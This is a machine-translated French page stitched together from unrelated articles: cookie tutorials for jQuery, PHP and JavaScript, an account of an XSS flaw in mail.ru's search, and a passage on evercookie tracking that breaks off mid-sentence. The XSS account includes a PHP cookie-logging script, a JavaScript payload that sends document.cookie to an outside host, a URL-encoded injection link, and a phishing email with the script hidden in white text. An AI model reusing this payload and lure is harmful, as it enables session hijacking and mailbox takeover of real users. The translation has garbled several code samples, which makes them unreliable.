Cookies - réglage. Méthodes de vol de cookies Js Paramètres des cookies

Il vaut probablement la peine de commencer par ce que sont les cookies et à quoi ils servent. Un cookie est un élément de données qui peut être stocké du côté de l'utilisateur et utilisé ultérieurement pour mettre en œuvre ses idées.

Imaginez que votre site ait la possibilité de choisir le jeu de couleurs du site. Il est très pratique d'implémenter cela sur les cookies, car le sujet choisi par lui ne sera visible que par lui.

Les cookies existent à la fois dans PHP et jQuery. Par conséquent, nous examinerons chaque cas plus en détail.

Instructions détaillées pour travailler avec les cookies sur jQuery

1. Paramétrage des cookies

Maintenant, nous pouvons essayer de créer notre premier cookie :

C'est quoi ici ?

« nom_cookie» – nom du cookie ;

« cookie_value» – valeur du cookie ;

« expire” – le nombre de jours pendant lesquels le cookie est stocké (dans notre cas, 3 jours). Passé ce délai, les cookies seront automatiquement supprimés ;

« chemin" - la disponibilité des cookies sur le site (dans notre cas, " / - disponible sur tout le site). Facultativement, vous pouvez définir uniquement une page ou une section spécifique où les cookies seront disponibles, par exemple, " /audio/rock»;

« domaine' est le domaine sur lequel le cookie est valide. Si vous avez un sous-domaine, vous pouvez le spécifier dans ce paramètre, par exemple, " domaine : "sous-domaine.votre_site.ru"", auquel cas le cookie ne sera disponible que sur le domaine " sous-domaine.votre_site.ru»;

« sécurisé' est un paramètre indiquant que le cookie doit être transmis via le protocole sécurisé https.

Ici, tous les paramètres ne sont pas obligatoires, et pour paramétrer les cookies, cette construction suffira :

2. Recevoir un cookie

Obtenir des cookies est assez simple, vous pouvez le faire en utilisant le code :

$.cookie("nom_cookie");

Ce code peut être affecté à une variable et utilisé selon vos besoins :

D'accord, c'est très pratique.

3. Suppression des cookies

Pour supprimer une valeur de cookie, définissez-la sur " nul»:

$.cookie("cookie_name", null);

À ce sujet, je pense que la connaissance du travail avec les cookies sur jQuery est terminée. Cette connaissance est suffisante pour mettre en œuvre vos idées.

Instructions détaillées pour travailler avec les cookies en PHP

Contrairement à l'option précédente pour travailler avec les cookies, vous n'avez rien besoin de connecter ici.

1. Paramétrage des cookies

Afin de définir des cookies en PHP, nous utiliserons la fonction intégrée " setcookie»:

C'est quoi ici ?

« nom_cookie» – nom du cookie ;

« cookie_value» – valeur du cookie ;

« temps()+3600” – durée de vie du cookie en secondes (dans notre cas, 1 heure). Si nous définissons la durée de vie égale à " 0 ”, alors le cookie sera supprimé dès que le navigateur sera fermé ;

« / ” – la section dans laquelle les cookies sont disponibles (dans notre cas, il est disponible sur tout le site). Si vous souhaitez limiter la section dans laquelle les cookies seront disponibles, alors " / » remplacer, par exemple, par « /audio/rock»;

« votre_site.com» – le domaine sur lequel le cookie sera disponible ;

« vrai' est un paramètre indiquant que le cookie est disponible uniquement via le protocole sécurisé https. Sinon, la valeur est FAUX;

« FAUX' est un paramètre indiquant que le cookie est disponible pour les langages de script. Sinon, true (uniquement disponible via http).

Ici aussi, tous les paramètres ne sont pas obligatoires, et pour créer un cookie, vous aurez besoin de la construction suivante :

Pour plus de commodité, la valeur du cookie peut être définie via une variable :

2. Recevoir un cookie

Pour recevoir des cookies, vous devez utiliser :

$_COOKIE["nom_cookie"] ;

Pour éviter les erreurs dues à l'éventuelle absence de cookies, utilisez :

Comme dans l'exemple précédent de jQuery Cookie, les cookies peuvent être assignés à une variable :

3. Suppression des cookies

La suppression des cookies en PHP est aussi simple que dans jQuery. Il suffit de paramétrer le cookie sur une valeur vide et un temps négatif (temps déjà écoulé) :

Setcookie("nom_cookie", "", heure() - 3600);

Temps dans cet exempleéquivaut à il y a une heure, ce qui est suffisant pour supprimer les cookies.

je veux noter que dans certains cas, l'utilisation de cookies est beaucoup plus rationnelle que l'utilisation de la base de données pour mettre en œuvre les fonctionnalités nécessaires.

Dernière mise à jour : 1.11.2015

L'une des possibilités d'enregistrement des données en javascript est l'utilisation de cookies. La propriété cookie est destinée à fonctionner avec les cookies dans l'objet document.

Pour définir des cookies, il suffit d'attribuer une chaîne avec des cookies à la propriété document.cookie :

Dans ce cas, un cookie appelé "login" est défini, qui a la valeur "tom32". Et dans la plupart des navigateurs, nous pouvons le visualiser, trouver toutes les informations à son sujet, puis nous pouvons l'utiliser dans l'application :

La chaîne de cookie accepte jusqu'à six paramètres différents : nom du cookie, valeur, date d'expiration (expiration), chemin (chemin), domaine (domaine) et sécurisé. Seuls deux paramètres ont été utilisés ci-dessus : le nom du cookie et la valeur. C'est-à-dire, dans le cas de la chaîne "login=tom32;" Le cookie a pour nom login et pour valeur tom32.

Mais ces cookies ont une durée de vie très limitée : si vous ne définissez pas explicitement une date d'expiration, le cookie sera supprimé à la fermeture du navigateur. Cette situation est peut-être idéale pour les cas où vous devez supprimer toutes les informations après avoir quitté l'application Web et fermé le navigateur. Cependant, ce comportement n'est pas toujours approprié.

Et dans ce cas, nous devons définir le paramètre expires, c'est-à-dire la date d'expiration du cookie :

Autrement dit, le cookie de connexion expire le lundi 31 août 2015 à 00h00. Le format du paramètre expires est très important. Cependant, il peut être généré par programmation. Pour cela, nous pouvons utiliser la méthode toUTCString() de l'objet Date :

var expire = nouvelle Date(); expire.setHours(expire.getHours() + 4); document.cookie = "login=tom32;expires=" + expire.toUTCString() + ";";

Dans ce cas, la durée du cookie sera de 4 heures.

Si nous devons définir des cookies pour un chemin spécifique sur le site, nous pouvons utiliser le paramètre path. Par exemple, nous voulons définir des cookies uniquement pour le chemin www.monsite.com/home:

Dans ce cas, pour d'autres chemins sur le site, par exemple, www.monsite.com/boutique, ces cookies ne seront pas disponibles.

Si notre site comporte plusieurs domaines et que nous souhaitons définir des cookies directement pour un domaine spécifique, le paramètre de domaine peut être utilisé. Par exemple, nous avons un sous-domaine sur notre site blog.monsite.com:

Document.cookie = "login=tom32;expires=Mon, 31 Aug 2015 00:00:00 GMT;path=/;domain=blog.mysite.com;";

Le paramètre path=/ spécifie que les cookies seront disponibles pour tous les répertoires et chemins du sous-domaine blog.mysite.com.

Le dernier paramètre - secure spécifie l'utilisation de SSL (SecureSockets Layer) et convient aux sites utilisant le protocole https. Si ce paramètre est défini sur true , les cookies ne seront utilisés que lors de l'établissement d'une connexion ssl sécurisée. Par défaut, ce paramètre est faux.

Document.cookie = "login=tom32;expires=Mon, 31 Aug 2015 00:00:00 GMT;path=/;domain=blog.mysite.com;secure=true;";

Réception des cookies

Pour l'extraction la plus simple des cookies depuis le navigateur, il suffit de se référer à la propriété document.cookie :

var expire = nouvelle Date(); expire.setHours(expire.getHours() + 4); document.cookie = "ville=Berlin;expires="+expire.toUTCString()+";"; document.cookie = "country=Allemagne;expires="+expire.toUTCString()+";"; document.cookie = "login=tom32;"; document.write(document.cookie);

Trois cookies ont été définis ici, et le navigateur affichera tous ces cookies pour nous :

Les cookies récupérés n'incluent pas les paramètres d'expiration, de chemin, de domaine et de sécurité. De plus, les cookies eux-mêmes sont séparés par des points-virgules, vous devez donc effectuer quelques transformations supplémentaires pour obtenir leur nom et leur valeur :

Varcookies = document.cookie.split(";"); pour(var i=0; je "); document.write("Valeur : " + valeur + "

"); }

Préparé par : Andrey Kosyak Date de publication : 22/12/2010

Dans le premier article Cookies - nous préparons des cookies, nous avons examiné les cookies de loin, donc si vous comprenez les concepts généraux et le but des cookies, vous pouvez passer directement à la cuisson (j'ai eu le four), donc, nous mettons un bouchon culinaire et approchez-vous. Faisons cuire !

Art. Préparation

Vous savez déjà qu'un cookie est une chaîne, et vous savez également à quoi ressemble un cookie aux yeux d'un navigateur. Une fois installé dans le navigateur, le cookie ressemble à la même chaîne :

"cookieName= cookieValeur ; expire= ven. 21 janvier 2021 06:10:00 GMT ; chemin= /; domaine= leçons.site Web ; sécurisé= vrai ; "

Les conditions d'existence des cookies sont précisées par cinq paramètres (couples clé=valeur) (IMPORTANT ! Chacun doit être suivi d'un caractère séparateur ";"), considérez-les :

Biscuits farcis

"cookieName=cookieValue;" - le paramètre principal du cookie, sans lui le cookie perd sa signification. Ici cookieName est un nom unique pour le cookie, et cookieValue est l'information (valeur) qu'il stockera. En regardant un peu plus loin, je vais disons que la valeur peut être n'importe quoi, n'importe quelle structure de données stockées qui vous convient (oui, même JSON), ainsi que tous les caractères que vous aimez. La seule paire requise lors de la configuration des cookies.

Durée de vie

"expire=Fri, 21 Jan 2021 06:10:00 GMT" - bien que cette paire soit facultative, elle joue un rôle très important, avec la première. Ce paramètre détermine la durée de vie du cookie, à savoir, à la seconde près, sur la date spécifiée, le cookie "mourra pendant longtemps." Si ce paramètre n'est pas spécifié, le cookie ne sera valide que pour la durée de la session, ce qui signifie que lorsque le navigateur sera fermé, il sera supprimé.

Le point important est le format de la date. La date doit être spécifiée UNIQUEMENT au format texte (ven. 21 janvier 2021 06:10:00 GMT). Encore une fois, en regardant un peu plus loin, je dirai que l'objet Date nous aidera avec cela, il a tous les outils nécessaires.

Chemin d'installation

"chemin=/" - ce paramètre spécifie le chemin (répertoire) pour lequel le cookie est valide. Maintenant, le chemin a la valeur "/", ce n'est rien de plus que le répertoire racine, donc le cookie sera lisible par absolument tous les répertoires du site Si l'accès au cookie doit être limité, alors le paramètre de chemin n'est tout simplement pas spécifié ou un répertoire parent commun y est spécifié, et le cookie sera défini pour un répertoire spécifique, mais les spécificités sont telles que le cookie sera disponible à tous ses sous-répertoires, en même temps invisibles pour les répertoires adjacents et parents.

À quoi ça sert? Imaginez une situation élémentaire: un café Internet, d'abord l'utilisateur Vasya est venu, a travaillé avec sa page sur le réseau social, et après lui Petya est venu et, sur le même ordinateur, dans le même réseau, a travaillé avec sa page. Les pages des membres sont situées dans le même domaine, mais sont généralement situées dans des répertoires adjacents. Par exemple : la page de Vasya est http://socset.com/vasya, la page de Petya est http://socset.com/petya. Vous pouvez imaginer ce que sera le chaos si des cookies sont installés dans le répertoire racine : Vasya pourra fonctionner avec les cookies de Petya et vice versa. Je pense que ni l'un ni l'autre n'apprécieront. Par conséquent, dans ce cas, il conviendra que les cookies soient liés uniquement au répertoire d'un utilisateur particulier, donc à tous ses sous-répertoires.

Domaine

"domaine=lessons.site" - cette paire définit le domaine dans lequel les cookies sont valides. En règle générale, vous avez rarement besoin de l'utiliser explicitement. La situation avec ce paramètre est similaire à la situation avec le paramètre path, à la différence que dans Domain nous opérons avec des domaines et des sous-domaines et non des répertoires Soit, dans ce cas, des cookies définis pour le sous-domaine leçons..site web.. Si le paramètre n'est pas précisé, alors l'adresse de domaine du document est utilisée par défaut.

Sécurité

"sécurisé=true" est un paramètre de sécurité. Si ce paramètre est défini sur true, le navigateur n'enverra des cookies qu'au serveur qui les demande via un canal sécurisé (SSL). Ce paramètre est également rarement utilisé. La valeur par défaut est false.

La première crêpe est grumeleuse ?

Essayons maintenant de traiter notre navigateur avec un cookie. L'objet document.cookie nous y aidera :

Document.cookie = "firstCookie=Premier pancake grumeleux ? ; expires=Fri, 21 Jan 2021 06:10:00 GMT; path=/;";

Le résultat est visible en ouvrant la rubrique cookies de votre navigateur ou simplement :

Document.cookie = "firstCookie=Premier pancake grumeleux ? ; expires=Fri, 21 Jan 2021 06:10:00 GMT; path=/;"; alert(document.cookie);

Et pas du tout grumeleux ! Tout bourdonne, le cookie est en place.

La note

J'attire votre attention sur la particularité des navigateurs sur WebKit. Ils refusent d'installer des cookies si le document est ouvert localement. J'utilise généralement un serveur local dans de tels cas, il sera également nécessaire lorsque je travaille avec AJAX. Donc, comme on dit, un must have! Par exemple, Denwer (lien en fin d'article).

Plus de cookies

Nous avons trouvé un cookie. Mais que se passe-t-il si vous avez besoin de stocker, par exemple, des données d'un formulaire (login, e-mail, numéro de téléphone, etc.) ? Dans ce cas, vous pouvez faire ceci :

Document.cookie = "myLogin=Mon identifiant ; expires=Fri, 21 Jan 2021 06:10:00 GMT; path=/;"; document.cookie = " [courriel protégé]; expire = vendredi 21 janvier 2021 06:10:00 GMT ; chemin=/;"; document.cookie = "monTéléphone=1234567; expire = vendredi 21 janvier 2021 06:10:00 GMT ; chemin=/;";

Ainsi, nous avons trois cookies qui stockent respectivement le nom d'utilisateur, l'adresse e-mail et le numéro de téléphone. Mais vous souvenez-vous des restrictions sur le nombre de cookies d'un domaine, ainsi que de leur nombre total ? Cela signifie que nous ne pouvons stocker qu'un nombre limité de valeurs pour les champs de cette manière. Et si une telle restriction nous "lie" les mains, nous pouvons le faire :

Var formData = escape("Mon login ; [courriel protégé];1234567"); document.cookie = "myFormCookie="+formData+"; expire = vendredi 21 janvier 2021 06:10:00 GMT ; chemin=/;";

En conséquence, nous avons 1 emplacement utilisé pour les cookies. J'ai "collé" toutes les données dans une variable et je les ai séparées avec le symbole ";", cependant, n'importe quel symbole peut être utilisé comme séparateur à l'intérieur de la variable, c'est déjà notre initiative, ici il vous suffit de vous assurer que ce séparateur ne se produit pas dans les valeurs de champ, sinon il y aura des difficultés à l'avenir lorsqu'il sera nécessaire de les lire. Dans ce cas, bien sûr, vous devez également vous souvenir de la limite de taille des cookies (4kb).

Pourquoi la fonction escape ? C'est assez simple, il encode la valeur du cookie dans une représentation hexadécimale. Pour quelle raison? Premièrement, le navigateur envoie des cookies au serveur, et pour que les données soient lues de la même manière sur les serveurs sous tous les systèmes, ce codage est utilisé. Deuxièmement, si nous utilisons le délimiteur ";" dans une variable avec des valeurs de champ, si nous n'encodons pas cette chaîne, alors le cookie, au moins, ne sera tout simplement pas défini correctement, car le séparateur est ";" utilisé pour séparer les paramètres du cookie lui-même. Ce moment doit être adopté et désormais utilisé par défaut lors de la transmission d'informations (cookie, AJAX).

"... et vous ne pouvez pas arrêter le temps un instant"

Passons maintenant au paramètre expires. L'inconvénient est que jusqu'à présent, nous avons défini manuellement la durée de vie des cookies. Mais, en conditions réelles, cette approche n'est pratiquement pas applicable. Au minimum, car à chaque prochaine visite sur le site, la durée de vie des cookies devrait être prolongée d'une ligne fixe, ce qui, en général, est justifié et logique. Par conséquent, l'objet Date nous aidera pleinement dans cette affaire :

Var formData = escape("Mon login ; [courriel protégé];1234567"); cookieExp = new Date(); // crée un objet Date cookieExp.setMonth(cookieExp.getMonth()+1); // définit le mois en cours et en ajoute un autre document.cookie = "myFormCookie= "+ formulaireDonnées+" ; expire="+cookieExp.toGMTString()+" ; chemin=/;";

Avec ces actions, nous fixons la durée de vie des cookies à exactement 1 mois. Je ne m'attarderai pas sur l'objet Date en détail dans cet article, je me contenterai de décrire le schéma de réglage de la date :

  • ligne 2 : déclarer cookieExp comme objet Date. Maintenant cookieExp contient la date actuelle ;
  • ligne 3 : réinitialisation du cookieExp du mois. Avec la méthode getMonth, on récupère le mois en cours et on lui en ajoute un autre. En conséquence, le mois suivant sera écrit dans cookieExp ;
  • ligne 6 : dans cette ligne, nous utilisons la méthode toGMTString() pour convertir la date au format texte ;

Ainsi, selon la durée de vie du cookie que vous souhaitez définir, d'autres méthodes de l'objet Date peuvent être utilisées : de get/setMilliseconds() à get/setFullYear() (de l'obtention/définition des millisecondes à l'obtention/définition de l'année).

Inutile de démontrer le reste des paramètres, d'ailleurs leurs valeurs par défaut dans la grande majorité des cas vous conviendront parfaitement.

Conclusion

Comme vous pouvez le voir, paramétrer des cookies n'est pas quelque chose de surnaturel, il suffit de se souvenir (quelle fois je me répète :)) des restrictions et tout sera de type tipi, enfin, ou topi-top. Le prochain article portera sur la façon de sortir nos biscuits du four. C'est là qu'il faut réfléchir un peu.

Où aller

  • suivant - Cookies - récupération
  • précédent -

Il n'y a pas si longtemps, j'ai lu un billet sur Habré qui proposait d'assister à un événement gratuit dédié aux questions de sécurité de l'information. Comme l'événement avait lieu dans ma ville, j'ai décidé que je devais y aller sans faute. La première leçon était consacrée aux vulnérabilités sur des sites comme XSS. Après la leçon, j'ai décidé qu'il me fallait consolider les connaissances acquises dans des conditions réelles. J'ai choisi pour moi-même plusieurs sites qui se rapportent à ma ville et j'ai commencé à essayer de coller mon script dans toutes les formes. Dans la plupart des cas, le script a été filtré. Mais il est arrivé que "l'alerte" ait fonctionné, et mon message est apparu. J'ai signalé la vulnérabilité trouvée aux administrateurs, et ils ont rapidement tout corrigé.

Un de ces jours, alors que je vérifiais le courrier frais sur mail.ru, je suis tombé sur un formulaire de recherche de lettres dans la boîte aux lettres. Parfois, j'ai utilisé cette recherche pour trouver quelque chose dont j'avais besoin dans une pile de mes vieilles lettres. Eh bien, depuis ces derniers jours, j'ai inséré mon "alerte" presque partout où je le pouvais, ma main s'est tendue par réflexe vers ce formulaire de recherche. J'ai tapé mon code de script et appuyé sur Entrée. Imaginez ma surprise quand j'ai vu un message douloureusement familier sur l'écran...


Lors de la conférence Open InfoSec Days, le conférencier a déclaré que les programmeurs sont plutôt sceptiques face à des vulnérabilités de ce genre, ils disent, « alerte ? Eh bien, et alors ? Ce n'est pas dangereux". Si sur d'autres sites je me contentais uniquement de cette fenêtre avec mon message, alors dans ce cas j'ai décidé d'aller plus loin et de montrer ce qui pouvait advenir d'une telle « alerte ».

Donc, le script fonctionne, ce qui signifie qu'il y a une vulnérabilité. Par conséquent, vous pouvez essayer d'exécuter un autre script. Par exemple, un script qui nous transmet les cookies d'un autre utilisateur. Pour que le script fonctionne, nous devons forcer l'utilisateur à exécuter notre script. Cela peut être fait en lui envoyant une lettre avec le lien approprié, après avoir cliqué sur lequel la boîte aux lettres sera recherchée et le code dont nous avons besoin sera exécuté.

Il a fallu du temps et beaucoup d'expérimentation pour comprendre les mécanismes de la vulnérabilité. Parfois, le script fonctionnait, parfois il était filtré. Après quelques efforts, empiriquement, il a été constaté que le script ne fonctionne à 100% que si la recherche de lettres donne un résultat positif. C'est-à-dire que lorsqu'un utilisateur effectue une recherche avec notre script, il est nécessaire qu'au moins une lettre dans sa boîte aux lettres soit trouvée selon les paramètres spécifiés. Ce n'est pas difficile à mettre en place.

si (isset($_GET["cookies"]))
{
$text = "Nouveau cookie accepté de ". $_SERVER["REMOTE_ADDR"] ." à ". date("l jS \of F Y h:i:s A");
$text .= "\n".str_repeat("=", 22) . "\n" . $_GET["cookie"]."\n".str_repeat("=", 22)."\n" ;
$file = fopen("sniff.txt", "a");
fwrite($fichier, $texte);
fclose($fichier);
}
?>

De plus, au lieu d'une "alerte", nous avons besoin d'un script qui transférera les cookies à notre renifleur. Nous allons écrire ce script dans un fichier séparé et le télécharger dans notre recherche. Création d'un fichier test.js avec le bon code et téléchargé sur l'hébergement. Le code du script est celui-ci :

Img=nouvelleImage();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie ;
fonction F() (
location="http://www.solife.ru" ;
}
setTimeout(F, 5000);

Ce que je voudrais expliquer ici. Mettons-nous à la place de l'agresseur. L'utilisateur doit cliquer sur le lien. Comment lui faire faire ça ? Vous pouvez promettre des montagnes d'or et pour les obtenir, vous devez suivre notre lien vers le site. Mais je ne pense pas que ça marchera. Les gens ne sont plus là-dessus (je supprime moi-même constamment de telles lettres, sans même les lire). Par conséquent, nous jouerons sur la pitié humaine, puisqu'elle existe toujours dans la nature. Nous vous demanderons de voter sur le site pour le salut des animaux exterminés. Dans un premier temps, nous prendrons les cookies, puis nous redirigerons l'utilisateur vers le site de vote. Le délai de redirection a été fixé à 5 secondes, sinon les cookies n'ont tout simplement pas eu le temps d'être transmis au renifleur, et l'utilisateur a été immédiatement transféré sur le site sur les animaux. Au lieu de "alerte", j'ai utilisé le script suivant :

Une fois les scripts terminés, j'ai commencé à écrire une lettre. Est venu avec le contenu suivant:


Cela s'est avéré assez cynique, mais j'ai essayé de rapprocher les conditions les plus réalistes. A la fin de la lettre, une ligne avec un script a été ajoutée, ceci afin que notre lettre soit retrouvée lorsque nous ferons une recherche. Pour que la ligne ne pose pas de questions inutiles, je l'ai peinte en blanc. J'ai également mis un espace dans le mot "http" afin que la chaîne ne soit pas reconnue et convertie en lien. Sinon, malgré le fait que la ligne de script soit écrite en police blanche, le lien serait surligné en bleu chez le destinataire, et nous n'en avons pas besoin. La recherche intelligente trouvera et reconnaîtra toujours cette chaîne, quels que soient les espaces.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

Pour le script, j'ai appliqué l'encodage d'URL afin que rien ne soit filtré. J'ai également ajouté le paramètre "q_folder=0" pour la recherche, afin que la recherche ait lieu dans le dossier Inbox.

La lettre est prête, nous l'envoyons. J'ai utilisé ma deuxième boîte aux lettres sur le même service que le destinataire. Nous regardons ce qui est arrivé à l'autre boîte.

Notre texte de script n'est pas visible car il se fond dans l'arrière-plan. Cliquons sur le lien et voyons ce qui se passe. L'utilisateur est déplacé vers les résultats de la recherche d'e-mails par le paramètre que nous avons défini. Notre lettre que nous avons envoyée est visible dans les résultats de recherche. A ce moment, notre script a déjà fonctionné et envoyé les cookies de l'utilisateur au sniffer. Après 5 secondes (le temps dépend des paramètres du script), l'utilisateur est redirigé vers le site de vote.

Je vérifie mon fichier sniff.txt :

Puisque mon objectif n'est pas de voler les boîtes d'autres personnes ou d'y accéder, je vais terminer l'histoire ici. Mais théoriquement, vous pouvez remplacer vos cookies par ceux de quelqu'un d'autre et accéder à la boîte aux lettres de quelqu'un d'autre. En général, si un attaquant met le feu à la cible, il trouvera une utilité aux informations reçues.

Je tiens à remercier Sergey Belov (

Les cookies sont une technologie sûre qui permet à un site Web de "se souvenir" de l'utilisateur,
enregistrer ses paramètres et ne pas demander à chaque fois son nom d'utilisateur et son mot de passe. Peut
pensez que si vous supprimez les cookies de votre navigateur, le site ne vous reconnaîtra pas. Mais ça
la confiance est trompeuse.

Vous pouvez vous soucier de votre anonymat autant que vous le souhaitez, utilisez un proxy
et VPN, forgent des en-têtes de requête HTTP qui révèlent le système utilisé,
version du navigateur, fuseau horaire et une mer d'autres informations, mais le site Web s'en moque
il y aura des moyens de reconnaître le fait que vous y avez déjà participé. Dans de nombreux
cas, ce n'est pas particulièrement critique, mais pas dans une situation où, sur certains
service, vous devez vous présenter comme un autre utilisateur ou simplement enregistrer
anonymat. Il est facile d'imaginer comment le système anti-fraude de certaines conditions
institution financière, si elle détermine que le même ordinateur a été utilisé
autorisation sous les comptes de personnes complètement différentes. Et est-ce agréable
savez-vous que quelqu'un sur le Web peut suivre vos mouvements ? À peine. Mais
à propos de tout dans l'ordre.

Comment fonctionnent les cookies ?

Les cookies sont utilisés depuis des temps immémoriaux pour identifier l'utilisateur.
Les cookies (de l'anglais "cookies") sont une petite partie d'informations textuelles,
que le serveur envoie au navigateur. Lorsque l'utilisateur accède au serveur
(tape son adresse dans la ligne du navigateur), le serveur peut lire les informations,
contenus dans les cookies, et sur la base de son analyse, effectuer toutes les actions.
Par exemple, dans le cas d'un accès autorisé à quelque chose via le Web dans les cookies
le login et le mot de passe sont enregistrés pendant la session, ce qui permet à l'utilisateur de ne pas
saisissez-les à nouveau chaque fois que vous y êtes invité pour chaque document protégé par un mot de passe. Donc
afin que le site Web puisse "se souvenir" de l'utilisateur. Techniquement, il ressemble
de la manière suivante. Lors de la demande d'une page, le navigateur envoie un court message au serveur Web.
Texte de la requête HTTP.

Par exemple, pour accéder à la page www.example.org/index.html le navigateur
envoie la requête suivante au serveur www.example.org :

GET /index.html HTTP/1.1
Hébergeur : www.example.org

Le serveur répond en envoyant la page demandée avec le texte,
contenant une réponse HTTP. Il peut contenir une instruction au navigateur pour enregistrer les cookies :

HTTP/1.1 200 OK
type de contenu : texte/html
Set-Cookie : nom=valeur

S'il existe une chaîne Set-cookie, le navigateur mémorise la chaîne nom=valeur (nom=
valeur) et la renvoie au serveur à chaque requête suivante :

GET /spec.html HTTP/1.1
Hébergeur : www.example.org
Cookie : nom=valeur
Accepter: */*

Tout est très simple. Si le serveur a reçu des cookies du client et qu'il les a dans
base, il peut certainement les traiter. Ainsi, s'il s'agissait de cookies avec
certaines informations d'autorisation, l'utilisateur au moment de la visite n'aura pas
demander le nom d'utilisateur et le mot de passe. Par défaut, les cookies ont une durée de vie fixe.
(bien qu'il puisse être très grand), après quoi ils meurent. Et n'importe quel
les cookies enregistrés peuvent être facilement supprimés par l'utilisateur en utilisant
l'option correspondante qui se trouve dans n'importe quel navigateur. Ce fait est fortement
dérange les propriétaires de nombreuses ressources qui ne veulent pas perdre le contact avec
visiteur. C'est important pour eux de le suivre, de comprendre que "cette personne était avec nous
hier, et avant-hier, etc.". Cela est particulièrement vrai pour divers analyseurs
trafic, systèmes de statistiques, réseaux de bannières, etc. Ici et là
le plaisir commence, car les développeurs utilisent toutes sortes de
des astuces dont de nombreux utilisateurs ne sont même pas conscients. Ils sont en mouvement
diverses astuces.

Biscuits flash

Le fait est qu'en plus des "goodies" HTTP habituels, auxquels tout le monde a longtemps
s'est habitué, maintenant des stockages alternatifs sont activement utilisés, où le navigateur
peut écrire des données côté client. La première chose à mentionner est
stockage de Flash aimé et détesté en même temps (pour les utilisateurs qui
sur lequel il est installé). Les données sont stockées dans ce que l'on appelle des LSO (Local Shared
Objects) - fichiers similaires aux cookies au format, qui sont enregistrés localement sur
l'ordinateur de l'utilisateur. L'approche est à bien des égards similaire aux "petits pains" habituels (dans ce
cas, une petite quantité est également stockée sur l'ordinateur de l'utilisateur
données textuelles), mais présente certains avantages :

  • Les cookies flash sont communs à tous les navigateurs d'un ordinateur (contrairement
    du cookie classique, qui est lié au navigateur). Paramètres, informations
    sur la session, ainsi que, par exemple, un identifiant pour suivre l'utilisateur,
    ne sont pas liés à un navigateur en particulier, mais deviennent généraux pour
    tout le monde.
  • Les cookies Flash vous permettent d'enregistrer beaucoup plus de données (comme
    généralement 100 Ko), ce qui augmente le nombre de paramètres utilisateur,
    disponible pour la sauvegarde.

En pratique, LSO devient une technologie de suivi très simple et abordable.
utilisateur. Pensez-y : si je vous proposais de supprimer tous les « goodies » de
système, vous souviendriez-vous des cookies Flash ? Probablement pas. Essayez maintenant de prendre
n'importe quel spectateur, par exemple, gratuit

FlashCookiesVoir et voir combien de choses intéressantes sont enregistrées dans
Stockages flash. Une liste de sites qui ne veulent vraiment pas
perdez votre trace, même si vous effacez le cache de votre navigateur (ainsi que les goodies).

Des cookies partout avec evercookie

Mais si les utilisateurs avancés ont entendu parler de LSO et plus ou moins bien
développeurs, l'existence d'autres techniques de stockage de données est parfois très
sophistiqué (mais efficace), beaucoup ne s'en doutent même pas. Obtenez-en de nouveaux
dépôts qui sont apparus dans
(stockage de sessions,
Stockage local, stockage global, stockage de base de données via SQLite), que vous pouvez
lu dans l'article "". Ce problème a sérieusement dérouté le spécialiste polonais
Agent de sécurité Samy Kamkar. En conséquence, une spéciale
La bibliothèque JavaScript evercookie, spécialement conçue pour
créer les cookies les plus tenaces dans le navigateur. Quelqu'un peut demander : "Pourquoi
est-ce nécessaire ?". Très simple : pour identifier de manière unique
visiteur de la page s'il revient. Ces cookies difficiles à tuer souvent
sont appelés cookies de suivi et sont même définis par certains antivirus comme
menace pour la vie privée. Evercookie peut réduire toutes les tentatives de rester anonyme à
zéro.

Le secret est qu'evercookie utilise tout ce qui est disponible pour le navigateur à la fois.
stockage : cookies HTTP réguliers, LSO, conteneurs HTML5. De plus, ça va
quelques astuces astucieuses qui, avec non moins de succès, permettent de partir sur
l'étiquette souhaitée sur l'ordinateur. Parmi eux : la génération d'images PNG spéciales,
utilisation de l'historique du navigateur, stockage des données à l'aide de la balise ETag, conteneur
userData dans Internet Explorer- il s'avère qu'il y a beaucoup d'options.

Vous pouvez voir à quel point cela fonctionne sur le site.
développeur -
http://samy.pl/evercookies. Si vous cliquez sur le "Cliquez pour créer un
evercookie", un cookie avec un nombre aléatoire sera créé dans le navigateur. Essayez
supprimer les cookies dans la mesure du possible. Je parie que tu l'es maintenant
J'ai pensé: "Où puis-je supprimer les cookies, sauf dans les paramètres du navigateur?".
Es-tu sûr d'avoir tout supprimé ? Rechargez la page pour être sûr, vous pouvez même recharger
Navigateur ouvert. N'hésitez pas maintenant à cliquer sur le bouton "Cliquez pour redécouvrir les cookies".
wtf? Cela n'a pas empêché le site de prendre des données quelque part - dans les champs de la page
le nombre qui a été stocké dans les cookies a été affiché. Mais les avons-nous perdus ? Comment
ça a marché ? Essayons de comprendre quelques techniques.

Cookies en PNG

Une technique extrêmement intéressante utilisée dans Evercookie est l'approche
stocker des données dans des images PNG mises en cache. Lorsqu'un cookie s'installe
cookies, il fait référence au script evercookie_png.php avec un "bun" HTTP spécial,
différent de celui utilisé pour stocker des informations standard sur
séances. Ces cookies spéciaux sont lus par un script PHP qui crée
Image PNG dans laquelle toutes les valeurs RVB (couleur) sont définies en fonction de
avec des informations sur la session. En fin de compte, le fichier PNG est envoyé au navigateur client
avec une note : "le fichier doit être mis en cache pendant 20 ans".

Après avoir reçu ces données, evercookie supprime les cookies spéciaux créés précédemment.
cookies HTTP, puis fait la même requête au même script PHP, mais pas
fournissant des informations sur l'utilisateur. Il voit que les données qui l'intéressent
Non, et il ne peut pas générer de PNG. Au lieu de cela, le navigateur renvoie
fausse réponse HTTP "304 Not Modified", ce qui l'amène à extraire le fichier de
cache local. L'image du cache est insérée dans la page à l'aide de la balise
Canevas HTML5. Une fois que cela se produit, evercookie lit chaque pixel
contenu du Canvas, en extrayant les valeurs RVB et en restaurant ainsi
les données de cookie d'origine qui ont été stockées dans l'image. Voila, tout
travaux.

Indice avec l'historique Web

Une autre technique utilise directement l'historique du navigateur. Une fois le navigateur
installe un bun, evercookie encode les données à l'aide de l'algorithme Base64,
qu'il faut sauver. Supposons que ces données sont une chaîne,
"bcde" résultant après la conversion en Base64. bibliothèque séquentiellement
accède aux URL suivantes en arrière-plan :

google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-

Ainsi, ces URL sont stockées dans l'historique. Vient ensuite une spéciale
technique - CSS History Knocker, qui, avec l'aide du script JS et du CSS, permet
